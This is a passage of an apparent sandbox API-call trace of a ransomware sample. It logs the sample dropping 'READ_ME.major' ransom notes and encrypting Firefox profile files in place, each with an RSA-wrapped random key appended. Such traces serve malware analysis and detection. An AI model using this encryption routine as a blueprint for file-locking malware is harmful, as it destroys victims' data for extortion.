cFileName="sessionstore-backups", cAlternateFileName="SESSIO~1")) returned 1 [0229.721] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.751] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.752] CloseHandle (hObject=0x1a34) returned 1 [0229.752] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e7fd9e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb7e7fd9e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb7e7fd9e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1433, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="sessionstore.js", cAlternateFileName="SESSIO~1.JS")) returned 1 [0229.752] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb81085d6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SiteSecurityServiceState.txt", cAlternateFileName="SITESE~1.TXT")) returned 1 [0229.752] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c1abf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c2e4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="storage", cAlternateFileName="")) returned 1 [0229.752] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.754] WriteFile (in: hFile=0x1a34, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0229.754] CloseHandle (hObject=0x1a34) returned 1 [0229.754] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f76d02, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1f76d02, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x22b9f22, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="storage.sqlite", cAlternateFileName="STORAG~1.SQL")) returned 1 [0229.755] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="times.json", cAlternateFileName="TIMES~1.JSO")) returned 1 [0229.755] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd1119, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2bd1119, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb8239875, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="webappsstore.sqlite", cAlternateFileName="WEBAPP~1.SQL")) returned 1 [0229.755] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8154a58, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="xulstore.json", cAlternateFileName="XULSTO~1.JSO")) returned 1 [0229.755] FindNextFileW (in: hFindFile=0x2f34860, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8154a58, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb8154a58, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="xulstore.json", cAlternateFileName="XULSTO~1.JSO")) returned 0 [0229.755] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0229.755] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json", dwFileAttributes=0x80) returned 1 [0229.756] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\xulstore.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\xulstore.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0229.756] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=351) returned 1 [0229.756] ReadFile (in: hFile=0x1a34, lpBuffer=0x66d2d0, nNumberOfBytesToRead=0x15f, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d2d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x15f, lpOverlapped=0x0) returned 1 [0229.757] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0229.757] WriteFile (in: hFile=0x1a34, lpBuffer=0x66dca8*, nNumberOfBytesToWrite=0x15f, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66dca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15f, lpOverlapped=0x0) returned 1 [0229.757] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x15f [0229.757] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.757] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.757] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0229.758] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0229.758] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0229.758] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rCg4VPobyEP0Prb7SIq0GY7XR6mnuRedpRUrxGNDrMbWerHq1Sz0ksF2sGUJYvoJ\nUezk/xD8oKbittpkK1+SwI8QTDseZv6KNuA9q2K2rOTQQYNSskwayccJKzEoYwsP\nFo6GBKNClXIlQHhlGgvW+/GRs9E5+yqmDVYNAxKgGrVCBVU93jDNqT2oLsKRnJJr\nVmqYKoEO+q9GmuzCyB1cLnKs9pWx62L3mkERgDIfW11RealPtLj6lDVpdgEaY2yr\nAKCfJeJGV4bBm8aWybWP6KhzoVmMEEmXJBjlREIm1Pjh5p7rTO2rjLKVLOP4jwR+\ndIf+B8zAg7nvIasraPdOWg==\n", pcchString=0x2e3f9a8) returned 1 [0229.758] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0229.859] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0229.859] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0229.859] CloseHandle (hObject=0x1a34) returned 1 [0230.224] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0230.224] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite", dwFileAttributes=0x80) returned 1 [0230.224] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\webappsstore.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\webappsstore.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0230.225] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=98304) returned 1 [0230.225] ReadFile (in: hFile=0x1a34, lpBuffer=0x33d5010, nNumberOfBytesToRead=0x18000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesRead=0x2e3f9b4*=0x18000, lpOverlapped=0x0) returned 1 [0230.235] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-98304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0230.236] WriteFile (in: hFile=0x1a34, lpBuffer=0x33ed018*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33ed018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18000, lpOverlapped=0x0) returned 1 [0230.236] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18000 [0230.236] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.236] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.236] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0230.236] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0230.237] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0230.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0230.237] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="yF96Dw9BvE63t69YOqlMy7Dd+npuVo4COWpyrKI/75plEnL9vjlitKAzDW6l9K+k\nhQeNIBiDlRVTmkGP5M+S/Q0WWr62a7dkFq2yATw/KjZuCrQg1GSk0mz/tR69IbsA\nruhm3ss23xXIfagiJdxZTZw6dXjMe5I+CVyUxfQBf3ygiJT4gEa4SaIKXYKKeKwS\ncOaBRIaNgJTGN7LidB1ojejXZd9p3nD9Tuhr3dWdh2mv7p7G3gsUNZahn3nDokrV\ndPpt/OuUG0avVPwvfomtYkpeKWcQFiqSl0v/3+jzAntbNP3uTZouAsdzvHm8gB2K\nvmaJeXKU2afqTemQ31MXkw==\n", pcchString=0x2e3f9a8) returned 1 [0230.237] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0230.237] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.237] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.237] CloseHandle (hObject=0x1a34) returned 1 [0230.238] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0230.238] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json", dwFileAttributes=0x80) returned 1 [0230.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667908 [0230.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0230.238] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\times.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\times.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0230.239] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=29) returned 1 [0230.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1d) returned 0x2ee6780 [0230.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1d) returned 0x2ee67a8 [0230.239] ReadFile (in: hFile=0x1a34, lpBuffer=0x2ee6780, nNumberOfBytesToRead=0x1d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ee6780*, lpNumberOfBytesRead=0x2e3f9b4*=0x1d, lpOverlapped=0x0) returned 1 [0230.240] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-29, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0230.240] WriteFile (in: hFile=0x1a34, lpBuffer=0x2ee67a8*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ee67a8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1d, lpOverlapped=0x0) returned 1 [0230.240] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1d [0230.240] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.240] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.240] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0230.240] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0230.241] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0230.241] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0230.241] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="BQr7sP6eFVI4zih1xqez5uL2thiXYBdXdX+18K5qZGyxbQWBb6jgzzm9tAAGvQ1g\noWsvplu8cjcBVhUS2gBbTGy5rFSFVzoYx1MUo6SJ2t7OSGtZdk1HXssXuKKZ2Mxu\nU2/mQxjzqjXnedO4Ne7GmBADn15Gxg2QUXpRFhPyXfweyOU0g3jByoeXdM9gCD8Z\nQFhi4UO17H3E0ouRrJRfT6scLVhWV5FKXijwsUCrQzqK8EYx+dgw35I7yr8CK11Y\npfmVjGEzWc2eMSiEAixoHgzy7E5Ex0D91O2RyoLV7zuE386uphE5imCM9SOGROxu\nssN6+2tFAACEF7/p6G4ppw==\n", pcchString=0x2e3f9a8) returned 1 [0230.241] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0230.241] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.241] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.241] CloseHandle (hObject=0x1a34) returned 1 [0230.242] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0230.242] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite", dwFileAttributes=0x80) returned 1 [0230.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666658 [0230.242] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0230.242] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0230.243] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=512) returned 1 [0230.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x200) returned 0x5c2410 [0230.243] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x200) returned 0x2f35c78 [0230.243] ReadFile (in: hFile=0x1a34, lpBuffer=0x5c2410, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c2410*, lpNumberOfBytesRead=0x2e3f9b4*=0x200, lpOverlapped=0x0) returned 1 [0230.244] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0230.244] WriteFile (in: hFile=0x1a34, lpBuffer=0x2f35c78*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35c78*, lpNumberOfBytesWritten=0x2e3f9b4*=0x200, lpOverlapped=0x0) returned 1 [0230.244] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x200 [0230.244] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.244] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.244] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0230.244] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0230.244] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0230.244] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0230.244] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Vn/scX0bqYWvFwgtEUE7IquB1ifXBDZLWr5mkBBj47kpUcNBhLeQr23TBAZ7C6Vq\nusocdrAXhMqXwWwfNUOYrBOGawmf2UPwNsZWR9XdRl5/EUzXqPI6OtxHf80SbiF6\nGHRW9zyFyMEFCY0mQ82DGl0uz9LjAeMwc9dMJpi3qR5VXqdUthbxvdz7yCiR/mcX\nfy69QKMz5Pucr1Tpl0C8MvrYMFIEepBU5hga2uOMgovKTV7Nb6AB49bZgw3bu2l7\nOb4LN1k4cdjO/Dg9qnAAwMo60z7ffJYA00UoU+toaa2Wp4kHVya/kwWfXF3JtW7U\n3z++biTBakCG2KWTFYFnVg==\n", pcchString=0x2e3f9a8) returned 1 [0230.244] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0230.245] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0230.245] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0230.245] CloseHandle (hObject=0x1a34) returned 1 [0230.246] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0230.246] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt", dwFileAttributes=0x80) returned 1 [0230.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x668230 [0230.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x136) returned 0x5c1e10 [0230.247] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\SiteSecurityServiceState.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sitesecurityservicestate.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0230.247] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1822) returned 1 [0230.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x71e) returned 0x66e548 [0230.247] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x71e) returned 0x313e008 [0230.247] ReadFile (in: hFile=0x1a34, lpBuffer=0x66e548, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e548*, lpNumberOfBytesRead=0x2e3f9b4*=0x71e, lpOverlapped=0x0) returned 1 [0230.248] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-1822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0230.248] WriteFile (in: hFile=0x1a34, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x71e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, 